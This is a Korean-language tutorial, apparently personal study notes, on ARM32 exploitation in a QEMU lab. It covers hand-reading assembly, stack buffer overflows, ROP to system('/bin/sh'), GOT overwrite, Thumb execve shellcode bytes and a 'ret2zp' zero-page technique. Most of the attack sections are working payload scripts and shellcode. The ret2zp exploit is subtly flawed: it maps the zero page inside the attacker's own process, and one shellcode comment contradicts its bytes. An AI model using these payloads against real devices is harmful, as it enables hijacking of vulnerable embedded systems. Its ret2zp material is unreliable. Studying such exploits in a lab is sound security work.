개요
이 글은 ARM 바이너리 익스플로잇을 학습하며 정리한 내용이다. 어셈블리를 손으로 읽는 핸드레이(Hand-Ray)에서 시작하여 고전적인 스택 버퍼 오버플로우를 거쳐 ret2zp 기법까지 다룬다. 모든 실험은 Debian Wheezy(armhf) 이미지를 사용한 QEMU ARM32 환경에서 진행했다.
학습 순서는 자연스러운 난이도 곡선을 따른다:
- ARM 아키텍처 기초 및 어셈블리 핸드레이
- 스택 기반 익스플로잇 (버퍼 오버플로우, 저장 레지스터 제어)
- ARM32에서의 고급 Return-Oriented Programming
- ret2zp: 영페이지 보호 우회
환경 구성
ARM 바이너리를 분석하려면 ARM 환경이 필요하다. QEMU와 Debian Wheezy armhf 이미지를 사용했다:
sudo apt-get install qemu
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
qemu-system-arm -M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-redir tcp:2222::22 -redir tcp:8080::80 \
-nographic포트 2222로 SSH 접속하면 ARM 게스트 내부 쉘을 얻을 수 있다.
ARM 아키텍처 기초
레지스터
ARM32에는 16개의 범용 레지스터(r0~r15)가 있으며, 일부는 특별한 역할을 가진다:
| 레지스터 | 별칭 | 역할 |
|---|---|---|
| r0~r3 | — | 함수 인자 (최대 4개); r0은 반환값 |
| r11 | FP | 프레임 포인터 (x86의 EBP와 유사) |
| r13 | SP | 스택 포인터 |
| r14 | LR | 링크 레지스터 — BL/BLX 호출 후 반환 주소 저장 |
| r15 | PC | 프로그램 카운터 (x86의 EIP/RIP에 해당) |
함수에 4개를 초과하는 인자가 필요한 경우, 나머지는 스택으로 전달된다.
호출 규약 (AAPCS)
인자: r0, r1, r2, r3 (이후는 스택)
반환값: r0
LR 저장: 함수 프롤로그에서 스택에 push일반적인 ARM 함수 프롤로그/에필로그 구조:
; 프롤로그
push {r7, lr} ; 프레임 포인터와 반환 주소 저장
sub sp, #8 ; 로컬 스택 공간 확보
add r7, sp, #0 ; r7 = sp (프레임 포인터)
; 에필로그
mov sp, r7 ; 스택 포인터 복원
pop {r7, pc} ; 프레임 포인터 복원; pc = 저장된 lr → 반환x86과의 결정적인 차이: 명시적인 ret 명령어가 없다. 반환은 저장된 LR 값을 PC에 로드하는 방식으로 이루어지며, 보통 pop {r7, pc} 또는 bx lr 형태다.
ARM vs Thumb 모드
ARM은 두 가지 명령어 집합 상태를 지원한다:
- ARM 모드: 32비트 고정 폭 명령어
- Thumb 모드: 16비트 압축 명령어(Thumb) 또는 32비트(Thumb-2)
모드 전환은 BX/BLX 명령어로 수행한다. 대상 주소의 LSB(최하위 비트)가 1이면 Thumb 모드로 전환된다:
add r3, pc, #1 ; r3 = pc + 1 (Thumb 타겟)
bx r3 ; Branch and Exchange → Thumb 모드로 전환명령어 파이프라인
ARM은 3단계 파이프라인(Fetch → Decode → Execute)을 사용한다. 세 단계가 병렬로 실행되기 때문에 Execute 단계에서 PC는 이미 8바이트 앞을 가리킨다(ARM 모드 기준, Thumb 모드는 4바이트). 이 점은 상대 주소를 계산하는 셸코드 작성 시 반드시 고려해야 한다.
메모리 접근 명령어
STR r0, [r7, #4] ; *(r7 + 4) = r0 (저장)
LDR r3, [r7, #4] ; r3 = *(r7 + 4) (로드)STR의 피연산자 순서는 MOV와 반대다 — 소스 레지스터가 먼저, 목적지 주소가 나중에 온다. 처음 ARM을 접하는 사람들이 많이 헷갈리는 부분이다.
Phase 1: ARM 어셈블리 핸드레이 (Hand-Ray)
익스플로잇을 건드리기 전에 ARM 디스어셈블리를 읽고 원래 C 소스를 재구성할 수 있어야 한다. 이것이 이른바 "핸드레이(Hand-Ray)" — 손으로 하는 디컴파일이다.

핵심 원칙을 먼저 정리하자:
- 레지스터를 저장하고 스택에 넣은 후 점프, 다시 로드하는 패턴 → for문일 가능성이 높다
pc + #상수형태 → 문자열 주소다- 값을 레지스터에 넣고 스택으로 저장 → 변수다. 반복문이면 다시 로드하고 비교한다
반복문 읽기
ARM 어셈블리에서 루프를 인식하는 핵심 패턴:
- 변수 초기화 — 상수를 스택에 저장
- 조건 확인으로 점프 —
B <cmp_label> - 비교 —
LDR r3, [sp, #offset]+CMP r3, #limit - 조건부 분기 —
BLE <body>/BGT <exit> - 증감 —
LDR r3 + ADD r3, #1 + STR r3
예제: for (i = 0; i <= 4; i++) printf("%d ", i);
; i = 0, [sp, #4]에 저장
mov r3, #0
str r3, [sp, #4]
b main+44 ; 조건 확인으로 점프
; 루프 본체 (main+28)
ldr r1, [sp, #4]
movw r0, #<format> ; "%d "
bl printf
; 증감 (main+40)
ldr r3, [sp, #4]
add r3, r3, #1
str r3, [sp, #4]
; 조건 확인 (main+44)
ldr r3, [sp, #4]
cmp r3, #4
ble main+28 ; i <= 4 이면 루프 본체로어떤 반복문(while, for)이든 어셈블리 패턴은 비슷하다.
if/else 읽기
중요한 ARM 특성: if/else 구조에서 어셈블러는 보통 else 분기를 먼저 생성한다. CMP/분기 쌍의 조건은 기대하는 것과 반전되어 있다.
// 원본 C 소스
if (v1 > 3)
printf("i > 4\n");
else
printf("else branch\n");; v1 = 5, [sp, #8]에 저장
ldr r3, [sp, #8]
cmp r3, #3
bgt <if_body> ; v1 > 3이면 if 본체로 점프
; else는 fall-through
movw r0, #<"else branch">
bl printf
b <end>
<if_body>:
movw r0, #<"i > 4">
bl printf
<end>:사용자 정의 함수 읽기
BL / BLX로 사용자 함수를 호출할 때의 패턴:
- 호출 전에 인자를 r0~r3에 배치
- callee는 r0~r3를 자신의 스택 프레임에 로컬 복사본으로 저장
- 반환값은 r0에 담겨 돌아온다
; add(v1, v2) 호출:
ldr r4, [sp, #4] ; v1
ldr r5, [sp, #8] ; v2
mov r1, r5
mov r0, r4
bl add
; add() 내부:
str r0, [sp, #4] ; arg1을 로컬로 저장
str r1, [sp, #0] ; arg2를 로컬로 저장
ldr r2, [sp, #4]
ldr r3, [sp, #0]
add r3, r2, r3 ; r3 = arg1 + arg2
mov r0, r3 ; 반환값을 r0에
pop {r7, pc}재구성된 C 코드:
int add(int arg1, int arg2) {
int loc1 = arg1;
int loc2 = arg2;
return loc1 + loc2;
}IT (If-Then) 명령어
ARM Thumb-2에는 분기 없이 최대 4개의 명령어를 조건부로 실행하는 IT 명령어가 있다:
cmp r0, r1
itge ; r0 >= r1 이면
movge r0, r1 ; r0 = r1이는 다음과 동일하다:
if (r0 >= r1) r0 = r1;Phase 2: root-me.org ARM Stack Buffer Overflow 분석
이 문제는 ARM 핸드레이 연습과 실제 취약점 분석을 결합한 좋은 예제다.
; setvbuf(stdout, 0, 2, 0);
; 0x21008 = stdout, r0 = stdout, r1 = 0, r2 = 2, r3 = 0
setvbuf(stdout, 0, 2, 0);
; v1 = 0x79 // sp+7
; r11 = "Give me data to dump:\n"
printf("Give me data to dump:\n");
; r10 = "%[^\n]s"
; num = sp+8
if (scanf("%[^\n]s", &num) != 0)
...핵심 취약점: %[^\n]s 포맷 문자열은 개행 문자가 나올 때까지 너비 제한 없이 읽는다. 이것이 무제한 scanf 취약점이다.
- 로컬 변수 레이아웃:
sp+7 = v1(char),sp+8 = buffer(scanf) num(sp+8)에 충분히 긴 입력을 넣으면 저장된 레지스터와 반환 주소를 덮어쓸 수 있다
Phase 3: 스택 버퍼 오버플로우 — r11과 PC 제어
취약한 패턴
전형적인 취약 함수 예제 (Incognito 2013 Basic ARM Exploit):
void vuln(char *input) {
char buffer[16];
strcpy(buffer, input); // 범위 검사 없음
}
void gotashell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
if (argc < 2) { puts("argv error"); exit(0); }
vuln(argv[1]);
return 0;
}vuln() 내부 스택 레이아웃
[ buffer (16바이트) ] [ 저장된 r11 (4바이트) ] [ 저장된 LR (4바이트) ]
^--- sp ^--- sp+24strcpy 오버플로우는 buffer[16]을 넘어, 오프셋 16에 있는 저장된 r11과, 오프셋 20에 있는 저장된 LR(반환 주소)을 덮어쓴다.
익스플로잇
ARM32에서 함수 에필로그는 다음과 같다:
pop {r11, pc} ; saved_r11 → r11, saved_lr → pc다음 페이로드로 오버플로우를 일으킨다:
payload = b'A' * 16 + p32(dummy_r11) + p32(gotashell_addr)pop {r11, pc} 실행 시:
- r11 = 우리가 넣은 dummy 값
- pc =
gotashell주소 → 실행 흐름 탈취
gotashell 주소 확인:
$ arm-linux-gnueabihf-objdump -d vuln | grep gotashell
00008468 <gotashell>:익스플로잇:
import struct
import subprocess
gotashell = 0x8468
payload = b'A' * 16 + struct.pack('<I', 0xdeadbeef) + struct.pack('<I', gotashell)
subprocess.run(['./vuln', payload])strcpy 이후 저장된 r11 슬롯과 PC가 우리가 원하는 값으로 바뀌어 gotashell로 점프한다.
Phase 4: ret2plt / GOT 덮어쓰기
반환 주소를 제어하게 되면 다음 단계는 제어된 인자로 라이브러리 함수를 호출하는 것이다. ASLR이 없는 ARM32에서는 system@plt로 직접 반환할 수 있다.
x86과의 핵심 차이점: 인자는 스택이 아닌 레지스터로 전달된다. 단순히 문자열 주소를 push하고 system을 호출할 수 없다. /bin/sh 주소를 r0에 로드하는 가젯이 먼저 필요하다.
가젯 탐색
ROPgadget --binary ./target --rop | grep "pop {r0"유용한 가젯 패턴:
0x000104d4 : pop {r0, r4, pc}이 가젯이 하는 일:
- 스택의 다음 값을 r0에 팝 (system의 인자)
- 더미 값을 r4에 팝
- 다음 주소를 PC에 팝 (system으로 점프)
ROP 체인 구성
import struct
def p32(x):
return struct.pack('<I', x)
# 주소 (ASLR 없음)
pop_r0_r4_pc = 0x000104d4
system_plt = 0x00010510
bin_sh_addr = 0x0001a9f0 # libc 내 "/bin/sh" 문자열 주소
buf_size = 64 # 저장된 LR까지의 오프셋
payload = b'A' * buf_size
payload += p32(pop_r0_r4_pc) # 저장된 LR을 가젯으로 덮어쓰기
payload += p32(bin_sh_addr) # r0 = "/bin/sh"
payload += p32(0xdeadbeef) # r4 = junk
payload += p32(system_plt) # pc = system@plt실행 흐름:
pop {r0, r4, pc}실행 → r0 =/bin/sh, pc =system@pltsystem("/bin/sh")→ 쉘 획득
GOT 덮어쓰기 대안
임의 쓰기 프리미티브(포맷 스트링, 다른 오버플로우 등)가 있다면, 자주 호출되는 함수(예: printf)의 GOT 엔트리를 system 주소로 덮어쓰는 방법도 효과적이다:
GOT[printf] = system
// 이후 printf("command") 호출 시 → system("command")Phase 5: ret2zp — 영페이지 리턴
ret2zp란?
ret2zp(return-to-zero-page)는 ARM 특유의 익스플로잇 기법이다. ARM에서 영페이지(주소 0x0 근처)는 오래된 커널이나 메모리 보호가 제대로 적용되지 않은 임베디드 시스템에서 쓰기 및 실행이 가능한 경우가 있다.
핵심 아이디어: 공격자가 0x00000000 근처 주소를 제어하고 그곳에 셸코드를 mmap/쓸 수 있다면, 영페이지로 반환함으로써 로드된 라이브러리 영역 내에서 반환을 기대하는 많은 완화 체크를 우회할 수 있다.
ARM 셸코드 작성
ret2zp를 이해하기 전에 ARM 셸코드 작성을 먼저 살펴보자. ARM32의 시스콜 인터페이스:
- 시스콜 번호는 r7에
- 인자는 r0, r1, r2에
svc #0(또는 일부 환경에서svc #1)으로 호출
execve는 시스콜 번호 11(__NR_execve)이다.
.section .text
.global _start
_start:
.code 32 ; ARM 모드로 시작
add r3, pc, #1 ; thumb 타겟 계산 (pc+1)
bx r3 ; Thumb 모드로 전환
.code 16 ; 여기서부터 Thumb 모드
mov r0, pc ; r0 = pc (파이프라인 때문에 앞을 가리킴)
add r0, #10 ; r0 = "/bin/sh" 문자열 주소
str r0, [sp, #4] ; 포인터를 스택에 저장
add r1, sp, #4 ; r1 = &argv = {&"/bin/sh"}
sub r2, r2, r2 ; r2 = 0 (envp = NULL)
mov r7, #11 ; r7 = __NR_execve
svc 1 ; 시스콜 실행
.ascii "/bin/sh"핵심 포인트:
- ARM에서 Thumb으로 모드 전환 —
add r3, pc, #1인코딩에서 null 바이트를 회피 - PC 파이프라인 오프셋(ARM +8, Thumb +4)을 문자열 주소 계산 시 고려해야 함
- 셸코드의 null 바이트 제거를 위해
mov r2, #0대신sub r2, r2, r2사용
취약 프로그램 설정
#include <stdio.h>
#include <string.h>
void vuln(char *s) {
char buf[64];
strcpy(buf, s);
}
int main(int argc, char *argv[]) {
vuln(argv[1]);
return 0;
}스택 카나리, NX(또는 실행 가능 스택 사용), ASLR 없이 컴파일한다.
익스플로잇 전략
x86 ROP에서는 인자가 스택에 올라가지만, ARM RTL(Return to Library / ret2zp)은 다음이 필요하다:
- r0 =
/bin/sh포인터 (system의 첫 번째 인자) - PC =
system또는execve
옵션 A — 가젯 체인:
[buf overflow] → [pop {r0, pc} 가젯] → [/bin/sh 주소] → [system 주소]옵션 B — 비ASLR ARM에서 ret2zp:
주소 0x00000010(또는 다른 낮은 주소)에 셸코드를 쓰고 PC를 그곳으로 리다이렉트한다. XN(eXecute Never) 적용이 없는 ARM에서:
import struct
import ctypes
# 영페이지를 쓰기+실행 가능하게 mmap
libc = ctypes.CDLL("libc.so.6")
libc.mmap(0, 0x1000, 7, 0x32, -1, 0) # MAP_FIXED|MAP_ANONYMOUS, PROT_RWX
# 0x10에 ARM 셸코드 쓰기
shellcode = (
b"\x01\x30\x8f\xe2" # add r3, pc, #1 (ARM 모드)
b"\x13\xff\x2f\xe1" # bx r3 (Thumb으로 전환)
# Thumb 셸코드
b"\x78\x46" # mov r0, pc
b"\x0a\x30" # add r0, #10
b"\x01\x90" # str r0, [sp, #4]
b"\x01\xa9" # add r1, sp, #4
b"\x52\x40" # eor r2, r2
b"\x0b\x27" # mov r7, #11
b"\x01\xdf" # svc 1
b"/bin/sh\x00"
)
ctypes.memmove(0x10, shellcode, len(shellcode))
# 반환 주소를 0x10으로 오버플로우
buf = b'A' * 68 + struct.pack('<I', 0x00000010)ARM에서 영페이지가 가능했던 이유
ARM에서는 인터럽트 벡터 테이블이 역사적으로 주소 0x00000000에 위치했다. 일부 임베디드 시스템과 오래된 Linux 커널에서:
- 사용자 공간이 영페이지를 mmap할 수 있었다 (
MAP_FIXED로 0에 mmap) - 낮은 주소에 XN(eXecute Never) 비트를 강제하지 않았다
이런 이유로 커널 강화(sysctl vm.mmap_min_addr)가 표준화되기 전까지 ret2zp는 실용적인 기법이었다.
현대적 완화 기법
| 완화 기법 | 효과 |
|---|---|
vm.mmap_min_addr = 65536 | 64KB 아래 mmap 방지 |
| XN 비트 적용 (ARMv6+) | 데이터 페이지에 실행 불가 표시 |
| ASLR | 라이브러리/스택 주소 무작위화 |
| 스택 카나리 | 반환 전 스택 스매싱 감지 |
| PIE | 바이너리 베이스 주소 무작위화 |
완전히 강화된 현대 Linux ARM 시스템에서는 ret2zp 단독으로는 작동하지 않는다. ASLR 우회(정보 누출)가 먼저 필요하다.
x86 익스플로잇과의 핵심 차이
| 측면 | x86/x64 | ARM32 |
|---|---|---|
| 반환 메커니즘 | ret으로 스택 → EIP | pop {pc} 또는 bx lr |
| 함수 인자 | 스택(x86) / rdi,rsi,...(x64) | r0, r1, r2, r3 |
| 프레임 포인터 | EBP | r11 |
| 링크 레지스터 | 반환 주소가 스택에만 존재 | LR (r14) 전용 레지스터 |
| 명령어 폭 | 가변 (1~15바이트) | 고정 4바이트 ARM / 2바이트 Thumb |
| 가젯 탐색 | ret 종료 | pop {pc} 종료 또는 bx lr |
| null 없는 셸코드 | 일반적인 기법 | Thumb 모드로 더 밀집된 인코딩 |
| 영페이지 공격 | 드물다 (NX 항상 적용) | ARM 임베디드에서 역사적으로 가능했음 |
ARM ROP 가젯 탐색 팁
ARM32 ROP 체인 구성 시:
pop {rN, ..., pc}가젯을 찾아라 — 레지스터 제어와 PC 리다이렉트를 한 가젯에서 수행bx lr가젯은 LR이 미리 로드되어 있어야 한다- Thumb-2의
IT블록은 조건부 가젯을 만든다 — 유용하지만 복잡하다 __libc_csu_init같은 함수에도 유용한pop체인이 있다
# ARM pop-pc 가젯 탐색
ROPgadget --binary ./libc.so --rop | grep "pop {r0" | head -20
ROPgadget --binary ./libc.so --rop | grep "pop {r1" | head -20
# Thumb 가젯 (주소 비트 0이 1)
ROPgadget --binary ./libc.so --thumb | grep "pop"요약
이 ARM 익스플로잇 시리즈에서 다룬 내용:
- ARM 어셈블리 기초 — 레지스터 역할, 호출 규약, PC에 대한 파이프라인 효과, STR/LDR 의미론
- 핸드레이 (Handray) — ARM 디스어셈블리에서 C 소스 재구성: 루프, if/else (else 먼저 순서), 함수 호출
- ARM 셸코드 — ARM/Thumb 모드 전환, 시스콜 인터페이스, null 바이트 제거
- 스택 BOF — 저장된 r11과 LR을 오버플로우하여 제어 흐름 탈취
- ret2plt / GOT 덮어쓰기 — ARM의 레지스터 기반 호출 규약을 만족하는 ROP 가젯 활용
- ret2zp — 오래된/임베디드 시스템에서 ARM 영페이지 매핑 가능성 익스플로잇
x86에서 ARM 익스플로잇으로 넘어올 때 가장 중요한 사고 전환: 인자는 스택이 아닌 레지스터에 있다. 스택 기반 인자 전달에 의존하는 모든 익스플로잇 기법은 최종 호출 전에 r0~r3를 채우는 가젯을 사용하는 방식으로 반드시 재구성해야 한다.
